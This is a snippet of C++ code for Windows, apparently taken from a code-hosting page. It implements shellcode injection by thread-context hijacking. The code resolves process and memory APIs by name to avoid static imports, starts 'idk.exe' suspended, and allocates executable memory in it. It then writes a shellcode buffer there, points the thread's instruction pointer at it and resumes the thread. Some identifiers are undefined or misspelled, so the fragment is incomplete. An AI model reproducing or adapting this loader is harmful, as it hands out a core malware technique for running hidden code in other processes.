1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| typedef BOOL(WINAPI *pCreateProcessA)( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation ); typedef LPVOID(WINAPI *pVirtualAllocEx)( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect );
typedef BOOL(WINAPI *pWriteProcessMemory)( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten );
typedef BOOL(WINAPI *pGetThreadContext)( HANDLE hThread, LPCONTEXT lpContext );
typedef BOOL(WINAPI *pSetThreadContext)( HANDLE hThread, LPCONTEXT lpContext );
typedef DWORD(WINAPI *pResumeThread)( HANDLE hThread );
typedef BOOL(WINAPI *pCloseHandle)( HANDLE hObject );
const char *CreateP = "CreateProcessA"; const char *VirAloc = "VirtualAllocEx"; const char *WriteMem = "WriteProcessMemory"; const char *GetThreadCxt = "GetThreadContext"; const char *SetThreadCxt = "SetThreadContext"; const char *ResumeT = "ResumeThread"; const char *CloseH = "CloseHandle";
auto MyCreateProcess = (pCreateProcessA) GetProcAddress(hKernel32, CreateP);
BOOL result = MyCreateProcess(nullptr, (LPSTR) "idk.exe", nullptr, nullptr, 0, 0x44u, nullptr, nullptr, &StartupInfo, &ProcessInformation);
Context.ContextFlags = 65539; MyGetThreadCxt(ProcessInformation.hThread, &Context); v24 = MyVirtualAlloc(ProcessInformation.hProcess, nullptr, shellSize, 0x1000u, 0x40u); MyWriteMen(ProcessInformation.hProcess, v24, v7A, shellSize, nullptr); Context.Rip = (DWORD_PTR) v24; MySetThreadCxt(ProcessInformation.hThread, &Context); MyResumeThread(ProcessInformation.hThread); MyCloseHandle(ProcessInformation.hThread);
|